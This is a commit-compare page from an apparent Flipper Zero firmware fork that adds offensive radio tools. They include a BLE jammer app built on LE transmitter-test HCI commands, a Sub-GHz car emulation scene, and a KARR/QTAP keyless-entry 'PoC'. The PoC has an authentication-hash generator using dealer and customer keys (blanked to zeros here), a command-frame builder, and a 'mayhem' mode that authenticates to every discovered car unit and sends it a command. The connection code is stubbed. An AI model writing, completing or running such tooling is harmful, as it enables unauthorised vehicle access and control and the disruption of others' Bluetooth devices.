Compare commits

..
Author SHA1 Message Date
d4rks1d33 56701a815b A lot of new things, the connection with the mobile app isn't working, it's too late and I need to sleep, I'll take care of that tomorrow, it's a minor thing
Build Dev Firmware / build (push) Canceled after 0s
2026-07-25 02:21:15 -03:00
d4rks1d33 833c9ad29b Custom emulate on receiver when using full dpad without saving the signal
Build Dev Firmware / build (push) Canceled after 0s
2026-07-23 22:11:38 -03:00
d4rks1d33 8117e422d0 fixes
Build Dev Firmware / build (push) Canceled after 0s
2026-07-23 21:42:29 -03:00
d4rks1d33 a483f253c7 fix VAG and long press TX
Build Dev Firmware / build (push) Canceled after 0s
2026-07-23 21:34:25 -03:00
d4rks1d33 f71813e1c1 comment toyota
Build Dev Firmware / build (push) Canceled after 0s
2026-07-22 21:10:59 -03:00
59 changed files with 3408 additions and 22 deletions
@@ -189,7 +189,7 @@ bool subghz_scene_receiver_info_on_event(void* context, SceneManagerEvent event)
stream_copy_full(src, dst);
stream_seek(dst, 0, StreamOffsetFromStart);
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneTransmitter);
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneCarEmulate);
return true;
}
@@ -0,0 +1,13 @@
App(
appid="ble_jammer",
name="BLE Jammer",
apptype=FlipperAppType.EXTERNAL,
entry_point="ble_jammer_app",
stack_size=1024,
fap_icon="icon.png",
fap_category="Bluetooth",
fap_icon_assets="images",
fap_author="W0rthlessS0ul (ported by d4rks1d3)",
fap_weburl="https://github.com/W0rthlessS0ul/FZ_nRF24_jammer",
fap_version="1.4.0",
)
File diff suppressed because it is too large Load Diff
+63
View File
@@ -0,0 +1,63 @@
#include "hci_test.h"
#include <string.h>
struct hci_request {
uint16_t ogf;
uint16_t ocf;
int event;
void* cparam;
int clen;
void* rparam;
int rlen;
};
extern int hci_send_req(struct hci_request* req, uint8_t async);
#define HCI_OGF_LE 0x08
#define HCI_OCF_LE_TRANSMITTER_TEST 0x001E
#define HCI_OCF_LE_TEST_END 0x001F
int hci_test_tx_start(uint8_t rf_channel, uint8_t packet_type) {
struct hci_request req;
uint8_t params[3];
uint8_t status;
memset(&req, 0, sizeof(req));
params[0] = rf_channel;
params[1] = 37;
params[2] = packet_type;
req.ogf = HCI_OGF_LE;
req.ocf = HCI_OCF_LE_TRANSMITTER_TEST;
req.cparam = params;
req.clen = sizeof(params);
req.rparam = &status;
req.rlen = 1;
if(hci_send_req(&req, 0) < 0) return -1;
return (status == 0) ? 0 : -1;
}
int hci_test_stop(void) {
struct hci_request req;
uint8_t resp[3];
memset(&req, 0, sizeof(req));
req.ogf = HCI_OGF_LE;
req.ocf = HCI_OCF_LE_TEST_END;
req.cparam = NULL;
req.clen = 0;
req.rparam = resp;
req.rlen = sizeof(resp);
if(hci_send_req(&req, 0) < 0) return -1;
return (resp[0] == 0) ? 0 : -1;
}
int hci_test_nrf24_to_ble_ch(uint8_t nrf24_ch, int* ble_ch) {
if(nrf24_ch < 2) return -1;
int freq_mhz = 2400 + nrf24_ch;
if(freq_mhz < 2402 || freq_mhz > 2480) return -1;
*ble_ch = (nrf24_ch - 2) / 2;
return 0;
}
@@ -0,0 +1,6 @@
#pragma once
#include <stdint.h>
int hci_test_tx_start(uint8_t rf_channel, uint8_t packet_type);
int hci_test_stop(void);
int hci_test_nrf24_to_ble_ch(uint8_t nrf24_ch, int* ble_ch);
Binary file not shown.

After

Width:  |  Height:  |  Size: 2.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 999 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 608 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 581 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 675 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 645 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 757 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 739 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 686 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 662 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 650 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 599 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 600 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 648 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 594 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 535 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 722 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 685 B

@@ -0,0 +1,17 @@
App(
appid="ble_scanner",
name="BLE Scanner",
apptype=FlipperAppType.EXTERNAL,
entry_point="ble_scanner_app",
stack_size=4 * 1024,
fap_category="Bluetooth",
fap_libs=["ble_central"],
requires=["gui"],
sources=[
"ble_scanner.c",
],
fap_author="d4rks1d3",
fap_weburl="https://github.com/d4rks1d3",
fap_version="0.1",
fap_description="Scan and display nearby BLE devices (phones, headphones, etc.)",
)
@@ -0,0 +1,444 @@
#include <furi.h>
#include <furi_hal.h>
#include <gui/gui.h>
#include <gui/view_dispatcher.h>
#include <gui/modules/submenu.h>
#include <gui/modules/text_box.h>
#include <lib/ble_central/ble_central.h>
#include <string.h>
#define TAG "BleScanner"
#define BLE_SCANNER_MAX_DEVICES 32
#define BLE_SCANNER_NAME_MAX_LEN 32
typedef struct {
uint32_t prefix;
const char* vendor;
} OuiEntry;
static const OuiEntry oui_table[] = {
{0x70B5E8, "ZTE"},
{0x8CD3A8, "Xiaomi"},
{0x9CE338, "Xiaomi"},
{0x48E7DA, "Xiaomi"},
{0x04CF8C, "Xiaomi"},
{0x6802B8, "Xiaomi"},
{0xA4C138, "Xiaomi"},
{0xF8A45F, "Xiaomi"},
{0x30C6F7, "Xiaomi"},
{0xCCE7DF, "Xiaomi"},
{0xACA220, "Xiaomi"},
{0x18A6F7, "Samsung"},
{0x2C54CF, "Samsung"},
{0x5CF9DD, "Samsung"},
{0x8C8EF2, "Samsung"},
{0x9C2A70, "Samsung"},
{0xA40CC3, "Samsung"},
{0xB8AD0E, "Samsung"},
{0xCC3A61, "Samsung"},
{0xE0B9BA, "Samsung"},
{0xEC1FA6, "Samsung"},
{0xF0B0E7, "Samsung"},
{0x58500E, "Samsung"},
{0x34C34C, "Samsung"},
{0x3C7DB1, "Samsung"},
{0xA88792, "Samsung"},
{0xDC0B6C, "Samsung"},
{0xE87DBD, "Samsung"},
{0xAC5F3E, "Samsung"},
{0x38C7BA, "Samsung"},
{0x001122, "Apple"},
{0x0025BC, "Apple"},
{0x003065, "Apple"},
{0x003F2E, "Apple"},
{0x003F35, "Apple"},
{0x00601C, "Apple"},
{0x00719B, "Apple"},
{0x00A040, "Apple"},
{0x00D8E1, "Apple"},
{0x04B133, "Apple"},
{0x04E536, "Apple"},
{0x08EBED, "Apple"},
{0x0C3076, "Apple"},
{0x0C9361, "Apple"},
{0x10A932, "Apple"},
{0x140D4F, "Apple"},
{0x181F32, "Apple"},
{0x1C36F3, "Apple"},
{0x1C9272, "Apple"},
{0x203565, "Apple"},
{0x28CFE9, "Apple"},
{0x2C200B, "Apple"},
{0x2CF0A2, "Apple"},
{0x30D366, "Apple"},
{0x349A0D, "Apple"},
{0x3820D1, "Apple"},
{0x3C0754, "Apple"},
{0x3CD0F8, "Apple"},
{0x401D58, "Apple"},
{0x44239C, "Apple"},
{0x4843CD, "Apple"},
{0x4C6B39, "Apple"},
{0x54132F, "Apple"},
{0x58676A, "Apple"},
{0x5C34EF, "Apple"},
{0x603B6E, "Apple"},
{0x64A31B, "Apple"},
{0x68AE20, "Apple"},
{0x6C3BA1, "Apple"},
{0x6C720E, "Apple"},
{0x70D88E, "Apple"},
{0x78A351, "Apple"},
{0x7C11BE, "Apple"},
{0x800017, "Apple"},
{0x84968C, "Apple"},
{0x88D51C, "Apple"},
{0x8C8590, "Apple"},
{0x8CDE52, "Apple"},
{0x909FB9, "Apple"},
{0x98FE94, "Apple"},
{0xA095B0, "Apple"},
{0xA4D1D2, "Apple"},
{0xA8B84F, "Apple"},
{0xB0487A, "Apple"},
{0xB0B2DC, "Apple"},
{0xB45987, "Apple"},
{0xB89675, "Apple"},
{0xBC1665, "Apple"},
{0xC0B593, "Apple"},
{0xC44B87, "Apple"},
{0xC81A9E, "Apple"},
{0xC8B5AD, "Apple"},
{0xCC25EF, "Apple"},
{0xD039B3, "Apple"},
{0xD42C3A, "Apple"},
{0xD44F82, "Apple"},
{0xD8031F, "Apple"},
{0xE062E6, "Apple"},
{0xE0F5C6, "Apple"},
{0xE8A7A7, "Apple"},
{0xF0B0E8, "Apple"},
{0xF0D1B9, "Apple"},
{0xF47F35, "Apple"},
{0xF8313E, "Apple"},
{0xFC145E, "Apple"},
{0xFC9F5E, "Apple"},
{0xA03860, "Google"},
{0x94885E, "Google"},
{0x7483C2, "Google"},
{0x643F5F, "Google"},
{0x286AB8, "Google"},
{0x1868CB, "Google"},
{0x0CCD9F, "Google"},
{0x60A4B7, "Google"},
{0x14A764, "Google"},
{0x8871E5, "Google"},
{0x486C8C, "Google"},
{0x24AB81, "Google"},
{0x3C28A6, "Google"},
{0xD0E178, "Google"},
{0x2C5BE7, "Google"},
{0x28B0CC, "Google"},
{0x94A7B7, "Google"},
{0xA44E2F, "Google"},
{0x5C8FE6, "Google"},
{0x3898D8, "Google"},
{0x9CADEF, "Google"},
{0x5859D5, "Google"},
{0x30C7AE, "Google"},
{0x18DED7, "Google"},
{0x24A642, "Google"},
{0x70781E, "Google"},
{0x5C639C, "Google"},
{0xD089E2, "Google"},
{0x54E1AD, "Google"},
{0x00C538, "Huawei"},
{0x34C9F0, "Huawei"},
{0x0C5A9B, "Huawei"},
{0xCCF1A0, "Huawei"},
{0x3075B0, "Huawei"},
{0x18E7F4, "Huawei"},
{0xFCBDE8, "Huawei"},
{0xF8CEBA, "Huawei"},
{0x98039B, "Huawei"},
{0x704834, "Huawei"},
{0x50B8A2, "Huawei"},
{0x44D9E7, "Huawei"},
{0xD46A10, "Huawei"},
{0x00EDB9, "Sony"},
{0x18264E, "Sony"},
{0x2053CA, "Sony"},
{0x4C0F9E, "Sony"},
{0x5C515E, "Sony"},
{0x700BC7, "Sony"},
{0x9019D9, "Sony"},
{0xF44B2A, "Sony"},
{0xFCA59C, "Sony"},
{0x385E9B, "Sony"},
{0x5C9AD8, "Sony"},
{0x2CAB25, "Sony"},
{0x3816D1, "Sony"},
{0x5863F6, "Sony"},
{0x5084C2, "Sony"},
{0x68DB54, "Sony"},
{0x001CDF, "OnePlus"},
{0x00503D, "Intel"},
{0x00237B, "Intel"},
{0x0030D7, "Motorola"},
{0x00D0A9, "LG"},
{0x886B76, "LG"},
{0x482C71, "LG"},
{0xC8F733, "LG"},
{0x38B12D, "LG"},
{0x9815A4, "LG"},
{0xECF236, "LG"},
{0x605718, "LG"},
{0x682C7B, "LG"},
{0x4851B7, "Bose"},
{0x042C97, "Bose"},
{0x00A050, "Bose"},
{0x74EF7E, "Bose"},
{0xF872EA, "Bose"},
{0x382565, "Bose"},
{0x00E06C, "JBL/Harman"},
{0x2CDD0C, "JBL/Harman"},
{0x64A6E6, "JBL/Harman"},
{0x8C6B97, "JBL/Harman"},
{0xF81D93, "JBL/Harman"},
{0x38F7D2, "JBL/Harman"},
{0x504A5E, "JBL/Harman"},
{0xE039D7, "JBL/Harman"},
{0x34DF2A, "Sennheiser"},
{0x1CE63B, "Sennheiser"},
{0x001C4A, "Plantronics"},
{0x5C4A9E, "Plantronics"},
{0x6C8336, "Plantronics"},
{0x801F02, "Plantronics"},
{0x00D02D, "Nest/Google"},
{0x18B430, "Nest/Google"},
{0x64DBA0, "Nest/Google"},
{0x7CC5A1, "Nest/Google"},
{0xB839D4, "Nest/Google"},
{0x00258A, "Roku"},
{0x00A0D2, "Roku"},
{0x005AA0, "Roku"},
{0x38062C, "Roku"},
{0x400B20, "Roku"},
{0x9CEBE8, "Roku"},
{0x0025E0, "Raspberry Pi"},
{0xB827EB, "Raspberry Pi"},
{0xDCA632, "Raspberry Pi"},
{0xE45F01, "Raspberry Pi"},
{0x287184, "Fitbit"},
{0x48D638, "Fitbit"},
{0x68372D, "Fitbit"},
{0x883AA3, "Fitbit"},
{0xAAF191, "Fitbit"},
{0xD8DCB5, "Fitbit"},
{0x00D8D7, "Garmin"},
{0x182666, "Garmin"},
{0x4C8AEE, "Garmin"},
{0x5C3A6D, "Garmin"},
{0x447E95, "Garmin"},
{0x68572D, "Garmin"},
{0x6C88D5, "Garmin"},
{0x90CF33, "Garmin"},
{0xB815F0, "Garmin"},
{0xB8921D, "Garmin"},
{0x0023AE, "Nokia"},
{0x644BC7, "Nokia"},
{0x14B17C, "Nokia"},
{0x289124, "Nokia"},
{0x482C6C, "Nokia"},
{0x4C3463, "Nokia"},
{0x802CA5, "Nokia"},
{0x84261F, "Nokia"},
{0x8C4D3E, "Nokia"},
{0xBC6373, "Nokia"},
{0xC8628B, "Nokia"},
{0x08229B, "Oculus/Meta"},
{0xCCA52A, "Oculus/Meta"},
{0x0CD6BD, "Oculus/Meta"},
{0x3871C5, "Oculus/Meta"},
{0xFC5CEF, "Oculus/Meta"},
{0x6CB06E, "Oculus/Meta"},
{0xE020E0, "Oculus/Meta"},
{0x3010A4, "Oculus/Meta"},
{0x00140A, "Microsoft"},
{0x00061B, "Microsoft"},
{0x0025AE, "Microsoft"},
{0x04A316, "Microsoft"},
{0x181804, "Microsoft"},
{0x1C6568, "Microsoft"},
{0x287184, "Microsoft"},
{0x44DF65, "Microsoft"},
{0x48D6D5, "Microsoft"},
{0x503EAA, "Microsoft"},
{0x60C5A8, "Microsoft"},
{0x64167F, "Microsoft"},
{0x7C1E52, "Microsoft"},
{0x8490AD, "Microsoft"},
{0x986DC0, "Microsoft"},
{0xA088B4, "Microsoft"},
{0x38700C, "TP-Link"},
{0x50C7BF, "TP-Link"},
{0x64D98B, "TP-Link"},
{0x84D46B, "TP-Link"},
{0xC02506, "TP-Link"},
{0xEC2280, "TP-Link"},
{0x001848, "Espressif"},
{0x18FE34, "Espressif"},
{0x24B2DE, "Espressif"},
{0x24E7C5, "Espressif"},
{0x24818D, "Espressif"},
{0x30AEA4, "Espressif"},
{0x3C71BF, "Espressif"},
{0x40F520, "Espressif"},
{0x5CE3B6, "Espressif"},
{0x68C63A, "Espressif"},
{0x84CCA8, "Espressif"},
{0x84F3EB, "Espressif"},
{0x8C2DAA, "Espressif"},
{0x8C7B9D, "Espressif"},
{0xA4611B, "Espressif"},
{0xAC67B2, "Espressif"},
{0xB4E62D, "Espressif"},
{0xC8F09E, "Espressif"},
{0xCC50E3, "Espressif"},
{0xDC4F22, "Espressif"},
{0xE0B9A5, "Espressif"},
{0xECFA5C, "Espressif"},
{0xF4CFA2, "Espressif"},
};
static const char* ble_scanner_lookup_oui(const uint8_t* addr) {
uint32_t prefix = ((uint32_t)addr[0] << 16) | ((uint32_t)addr[1] << 8) | addr[2];
for(size_t i = 0; i < COUNT_OF(oui_table); i++) {
if(oui_table[i].prefix == prefix) return oui_table[i].vendor;
}
return NULL;
}
typedef struct {
char name[BLE_SCANNER_NAME_MAX_LEN];
uint8_t address[6];
int8_t rssi;
uint8_t address_type;
} BleScannerDevice;
typedef enum {
BleScannerView_Submenu,
BleScannerView_TextBox,
} BleScannerView;
typedef struct {
Gui* gui;
ViewDispatcher* view_dispatcher;
Submenu* submenu;
TextBox* text_box;
BleScannerDevice devices[BLE_SCANNER_MAX_DEVICES];
size_t device_count;
FuriString* log_text;
} BleScannerApp;
static void ble_scanner_central_callback(BleCentralEventType event, void* device, void* context) {
BleScannerApp* app = context;
if(event == BleCentralEventDeviceFound) {
BleCentralAdvertisedDevice* adv = device;
if(app->device_count < BLE_SCANNER_MAX_DEVICES) {
BleScannerDevice* dev = &app->devices[app->device_count];
strncpy(dev->name, adv->name, BLE_SCANNER_NAME_MAX_LEN - 1);
dev->name[BLE_SCANNER_NAME_MAX_LEN - 1] = '\0';
memcpy(dev->address, adv->address, 6);
dev->rssi = adv->rssi;
dev->address_type = adv->address_type;
app->device_count++;
}
}
}
static bool ble_scanner_back_event_callback(void* context) {
UNUSED(context);
return false;
}
static BleScannerApp* ble_scanner_app_alloc(void) {
BleScannerApp* app = malloc(sizeof(BleScannerApp));
memset(app, 0, sizeof(BleScannerApp));
app->gui = furi_record_open(RECORD_GUI);
app->view_dispatcher = view_dispatcher_alloc();
view_dispatcher_set_event_callback_context(app->view_dispatcher, app);
view_dispatcher_set_navigation_event_callback(app->view_dispatcher, ble_scanner_back_event_callback);
app->submenu = submenu_alloc();
view_dispatcher_add_view(app->view_dispatcher, BleScannerView_Submenu, submenu_get_view(app->submenu));
app->text_box = text_box_alloc();
view_dispatcher_add_view(app->view_dispatcher, BleScannerView_TextBox, text_box_get_view(app->text_box));
app->log_text = furi_string_alloc();
view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen);
return app;
}
static void ble_scanner_app_free(BleScannerApp* app) {
furi_string_free(app->log_text);
view_dispatcher_remove_view(app->view_dispatcher, BleScannerView_Submenu);
submenu_free(app->submenu);
view_dispatcher_remove_view(app->view_dispatcher, BleScannerView_TextBox);
text_box_free(app->text_box);
view_dispatcher_free(app->view_dispatcher);
furi_record_close(RECORD_GUI);
free(app);
}
int32_t ble_scanner_app(void* p) {
UNUSED(p);
BleScannerApp* app = ble_scanner_app_alloc();
submenu_set_header(app->submenu, "BLE Scanner");
submenu_add_item(app->submenu, "Scan for devices", 0, NULL, NULL);
view_dispatcher_switch_to_view(app->view_dispatcher, BleScannerView_Submenu);
app->device_count = 0;
bool ok = ble_central_scan_start(ble_scanner_central_callback, app);
if(!ok) {
furi_string_set_str(app->log_text, "ERROR: scan start failed!\n");
text_box_set_text(app->text_box, furi_string_get_cstr(app->log_text));
view_dispatcher_switch_to_view(app->view_dispatcher, BleScannerView_TextBox);
view_dispatcher_run(app->view_dispatcher);
ble_scanner_app_free(app);
return 0;
}
furi_delay_ms(4000);
ble_central_scan_stop();
furi_string_reset(app->log_text);
furi_string_cat_printf(app->log_text, "Found %zu devices:\n\n", app->device_count);
for(size_t i = 0; i < app->device_count; i++) {
BleScannerDevice* dev = &app->devices[i];
const char* vendor = ble_scanner_lookup_oui(dev->address);
if(dev->name[0]) {
furi_string_cat_printf(app->log_text, "%zu. %s\n", i + 1, dev->name);
} else if(vendor) {
furi_string_cat_printf(app->log_text, "%zu. [%s device]\n", i + 1, vendor);
} else {
furi_string_cat_printf(app->log_text, "%zu. (no name)\n", i + 1);
}
furi_string_cat_printf(app->log_text, " RSSI: %d\n\n", dev->rssi);
}
text_box_set_text(app->text_box, furi_string_get_cstr(app->log_text));
view_dispatcher_switch_to_view(app->view_dispatcher, BleScannerView_TextBox);
view_dispatcher_run(app->view_dispatcher);
ble_scanner_app_free(app);
return 0;
}
@@ -0,0 +1,28 @@
App(
appid="karr_poc_flipper",
name="KARR BLE PoC",
apptype=FlipperAppType.EXTERNAL,
entry_point="karr_poc_app",
stack_size=4 * 1024,
fap_category="Bluetooth",
fap_libs=["ble_central"],
requires=["gui"],
sources=[
"karr_poc.c",
"scenes/karr_poc_scene.c",
"scenes/karr_poc_scene_start.c",
"scenes/karr_poc_scene_scan.c",
"scenes/karr_poc_scene_device_menu.c",
"scenes/karr_poc_scene_auth.c",
"scenes/karr_poc_scene_result.c",
"scenes/karr_poc_scene_mayhem_menu.c",
"scenes/karr_poc_scene_mayhem_confirm.c",
"scenes/karr_poc_scene_mayhem_scan.c",
"scenes/karr_poc_scene_mayhem_run.c",
"helpers/karr_ble.c",
"helpers/qt_auth.c",
"helpers/qt_protocol.c",
],
fap_version="0.1",
fap_description="KARR/QTAP remote keyless system PoC",
)
@@ -0,0 +1,162 @@
#include "karr_ble.h"
#include <furi.h>
#include <string.h>
#include "ble_central.h"
#define TAG "KarrBle"
typedef struct {
KarrBleStatusCallback scan_callback;
void* scan_context;
bool scanning;
bool connected;
char unit_serial[KARR_BLE_NAME_MAX_LEN];
uint8_t hash[QT_HASH_OUT_LEN];
} KarrBle;
static KarrBle* karr_ble = NULL;
static void karr_ble_on_central_event(BleCentralEventType event, void* data, void* context) {
UNUSED(context);
if(!karr_ble) return;
switch(event) {
case BleCentralEventDeviceFound: {
BleCentralAdvertisedDevice* dev = (BleCentralAdvertisedDevice*)data;
if(karr_ble->scan_callback) {
karr_ble->scan_callback(
KarrBleStatus_DeviceFound, dev->name, karr_ble->scan_context);
}
break;
}
case BleCentralEventGattProcComplete: {
if(karr_ble->scanning && karr_ble->scan_callback) {
karr_ble->scan_callback(
KarrBleStatus_ScanStarted, "Discovery complete", karr_ble->scan_context);
}
break;
}
default:
break;
}
}
bool karr_ble_scan_start(KarrBleStatusCallback callback, void* context) {
if(!karr_ble) {
karr_ble = malloc(sizeof(KarrBle));
}
if(karr_ble->scanning) return false;
karr_ble->scan_callback = callback;
karr_ble->scan_context = context;
karr_ble->scanning = true;
if(!ble_central_scan_start(karr_ble_on_central_event, karr_ble)) {
karr_ble->scanning = false;
return false;
}
if(callback) callback(KarrBleStatus_ScanStarted, "Scanning...", context);
return true;
}
void karr_ble_scan_stop(void) {
if(!karr_ble || !karr_ble->scanning) return;
ble_central_scan_stop();
karr_ble->scanning = false;
karr_ble->scan_callback = NULL;
karr_ble->scan_context = NULL;
}
bool karr_ble_connect_and_auth(
const KarrBleDevice* device,
QtMode mode,
KarrBleStatusCallback callback,
void* context) {
furi_assert(device);
FURI_LOG_I(TAG, "connect_and_auth to '%s' (STUB)", device->name);
strncpy(karr_ble->unit_serial, device->name, sizeof(karr_ble->unit_serial) - 1);
karr_ble->unit_serial[sizeof(karr_ble->unit_serial) - 1] = '\0';
if(callback) callback(KarrBleStatus_Connecting, device->name, context);
karr_ble->connected = true;
if(callback) callback(KarrBleStatus_Connected, "Connected", context);
if(callback) callback(KarrBleStatus_ServiceDiscovered, "Service+Char OK", context);
uint8_t frame_buf[QT_MAX_FRAME_LEN];
size_t frame_len;
frame_len = qt_protocol_generate(QtCmd_AuthInit, NULL, 0, frame_buf, sizeof(frame_buf));
FURI_LOG_I(TAG, "TX Auth_Init (%zu bytes)", frame_len);
if(callback) callback(KarrBleStatus_AuthInitSent, "0x22 sent", context);
uint8_t fake_challenge[QT_CHALLENGE_LEN] = {0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08};
char challenge_msg[32];
snprintf(
challenge_msg,
sizeof(challenge_msg),
"%02x%02x%02x%02x%02x%02x%02x%02x",
fake_challenge[0], fake_challenge[1], fake_challenge[2], fake_challenge[3],
fake_challenge[4], fake_challenge[5], fake_challenge[6], fake_challenge[7]);
if(callback) callback(KarrBleStatus_ChallengeReceived, challenge_msg, context);
bool hash_ok = qt_generate_hash(mode, fake_challenge, karr_ble->unit_serial, karr_ble->hash);
if(!hash_ok) {
FURI_LOG_E(TAG, "qt_generate_hash failed");
if(callback) callback(KarrBleStatus_Error, "Invalid serial for this mode", context);
return false;
}
frame_len = qt_protocol_generate(
QtCmd_AuthResponse, karr_ble->hash, QT_HASH_OUT_LEN, frame_buf, sizeof(frame_buf));
FURI_LOG_I(TAG, "TX Auth_Response (%zu bytes)", frame_len);
if(callback) callback(KarrBleStatus_AuthResponseSent, "0x0F sent", context);
if(callback) callback(KarrBleStatus_AuthSuccess, "0x10 received", context);
return true;
}
bool karr_ble_send_command(QtCommand command) {
if(!karr_ble || !karr_ble->connected) {
FURI_LOG_E(TAG, "send_command without connection/auth");
return false;
}
uint8_t frame_buf[QT_MAX_FRAME_LEN];
size_t frame_len = qt_protocol_generate(command, NULL, 0, frame_buf, sizeof(frame_buf));
FURI_LOG_I(TAG, "TX command 0x%02x (%zu bytes)", command, frame_len);
return frame_len > 0;
}
void karr_ble_disconnect(void) {
if(!karr_ble) return;
FURI_LOG_I(TAG, "disconnect (STUB)");
karr_ble->connected = false;
}
void karr_ble_mayhem_run(
const KarrBleDevice* devices,
size_t device_count,
QtMode mode,
QtCommand command,
KarrMayhemDeviceCallback callback,
void* context) {
for(size_t i = 0; i < device_count; i++) {
const KarrBleDevice* dev = &devices[i];
FURI_LOG_I(TAG, "mayhem: device %zu/%zu '%s'", i + 1, device_count, dev->name);
bool auth_ok = karr_ble_connect_and_auth(dev, mode, NULL, NULL);
if(!auth_ok) {
if(callback) callback(dev, KarrMayhemResult_AuthFailed, context);
karr_ble_disconnect();
continue;
}
bool sent = karr_ble_send_command(command);
karr_ble_disconnect();
if(callback) {
callback(dev, sent ? KarrMayhemResult_Success : KarrMayhemResult_AuthFailed, context);
}
}
}
@@ -0,0 +1,69 @@
#pragma once
#include <stdint.h>
#include <stdbool.h>
#include <stddef.h>
#include "qt_auth.h"
#include "qt_protocol.h"
#define KARR_BLE_SERVICE_UUID "49535343-FE7D-4AE5-8FA9-9FAFD205E455"
#define KARR_BLE_CHARACTERISTIC_UUID "49535343-1E4D-4BD9-BA61-23C647249616"
#define KARR_BLE_MAX_DEVICES 16
#define KARR_BLE_NAME_MAX_LEN 32
typedef struct {
char name[KARR_BLE_NAME_MAX_LEN];
uint8_t address[6];
int8_t rssi;
} KarrBleDevice;
typedef enum {
KarrBleStatus_ScanStarted,
KarrBleStatus_DeviceFound,
KarrBleStatus_Connecting,
KarrBleStatus_Connected,
KarrBleStatus_ServiceDiscovered,
KarrBleStatus_AuthInitSent,
KarrBleStatus_ChallengeReceived,
KarrBleStatus_AuthResponseSent,
KarrBleStatus_AuthSuccess,
KarrBleStatus_AuthFailed,
KarrBleStatus_CommandSent,
KarrBleStatus_Disconnected,
KarrBleStatus_Error,
} KarrBleStatus;
typedef void (*KarrBleStatusCallback)(KarrBleStatus status, const char* message, void* context);
bool karr_ble_scan_start(KarrBleStatusCallback callback, void* context);
void karr_ble_scan_stop(void);
bool karr_ble_connect_and_auth(
const KarrBleDevice* device,
QtMode mode,
KarrBleStatusCallback callback,
void* context);
bool karr_ble_send_command(QtCommand command);
void karr_ble_disconnect(void);
typedef enum {
KarrMayhemResult_Success,
KarrMayhemResult_AuthFailed,
KarrMayhemResult_ConnectFailed,
} KarrMayhemResult;
typedef void (*KarrMayhemDeviceCallback)(
const KarrBleDevice* device,
KarrMayhemResult result,
void* context);
void karr_ble_mayhem_run(
const KarrBleDevice* devices,
size_t device_count,
QtMode mode,
QtCommand command,
KarrMayhemDeviceCallback callback,
void* context);
@@ -0,0 +1,43 @@
#include "qt_auth.h"
#include <string.h>
static const uint8_t DEALER_KEY[16] = {
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
static const uint8_t CUSTOMER_KEY[16] = {
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
bool qt_generate_hash(
QtMode mode,
const uint8_t challenge[QT_CHALLENGE_LEN],
const char* unit_serial,
uint8_t out[QT_HASH_OUT_LEN]) {
uint8_t key[16];
if(mode == QtMode_User || mode == QtMode_Valet) {
if(unit_serial == NULL || strlen(unit_serial) < 10) {
return false;
}
memcpy(key, CUSTOMER_KEY, 16);
key[3] = (uint8_t)unit_serial[7];
key[6] = (uint8_t)unit_serial[8];
key[9] = (uint8_t)unit_serial[9];
} else {
memcpy(key, DEALER_KEY, 16);
}
for(int i = 0; i < 16; i++) {
uint32_t acc = key[i];
for(int j = 0; j < QT_CHALLENGE_LEN; j++) {
acc = (uint32_t)(acc * 0x21u + challenge[j]);
}
out[2 * i] = (uint8_t)(acc & 0xFF);
out[2 * i + 1] = (uint8_t)((acc >> 8) & 0xFF);
}
return true;
}
@@ -0,0 +1,25 @@
#pragma once
#include <stdint.h>
#include <stdbool.h>
#include <stddef.h>
typedef enum {
QtMode_Installer = 0,
QtMode_Dealer = 1,
QtMode_User = 2,
QtMode_NoSale = 3,
QtMode_BCA = 4,
QtMode_Valet = 5,
QtMode_Bootload = 6,
QtMode_Unconfigured = 7,
} QtMode;
#define QT_HASH_OUT_LEN 32
#define QT_CHALLENGE_LEN 8
bool qt_generate_hash(
QtMode mode,
const uint8_t challenge[QT_CHALLENGE_LEN],
const char* unit_serial,
uint8_t out[QT_HASH_OUT_LEN]);
@@ -0,0 +1,82 @@
#include "qt_protocol.h"
#include <string.h>
size_t qt_protocol_generate(
QtCommand command,
const uint8_t* data,
size_t data_len,
uint8_t* out_buf,
size_t out_buf_size) {
bool data_is_null = (data == NULL);
size_t effective_data_len = data_is_null ? 1 : data_len;
size_t payload_len = effective_data_len + 1;
size_t frame_len = 5 + effective_data_len;
if(frame_len > out_buf_size) {
return 0;
}
memset(out_buf, 0, frame_len);
out_buf[1] = (uint8_t)((payload_len >> 8) & 0xFF);
out_buf[2] = (uint8_t)(payload_len & 0xFF);
out_buf[3] = (uint8_t)command;
if(!data_is_null) {
memcpy(&out_buf[4], data, data_len);
}
uint32_t checksum = 0;
for(size_t i = 0; i < frame_len; i++) {
checksum += out_buf[i];
}
uint8_t crc = (uint8_t)((~(checksum & 0xFF)) + 1);
out_buf[frame_len - 1] = crc;
out_buf[0] = QT_MARKER;
return frame_len;
}
bool qt_protocol_parse(
const uint8_t* uart,
size_t uart_len,
size_t offset,
uint8_t* command_out,
uint8_t* data_out,
size_t data_out_max,
size_t* data_len_out) {
if(offset >= uart_len) return false;
if(uart[offset] != QT_MARKER) return false;
if(offset + 3 > uart_len) return false;
uint16_t length = ((uint16_t)uart[offset + 1] << 8) | uart[offset + 2];
size_t crc_pos = offset + 3 + length;
if(crc_pos >= uart_len) return false;
uint8_t crc_received = uart[crc_pos];
size_t window_start = offset + 1;
size_t window_len = (size_t)length + 2;
if(window_start + window_len > uart_len) return false;
uint32_t checksum = 0;
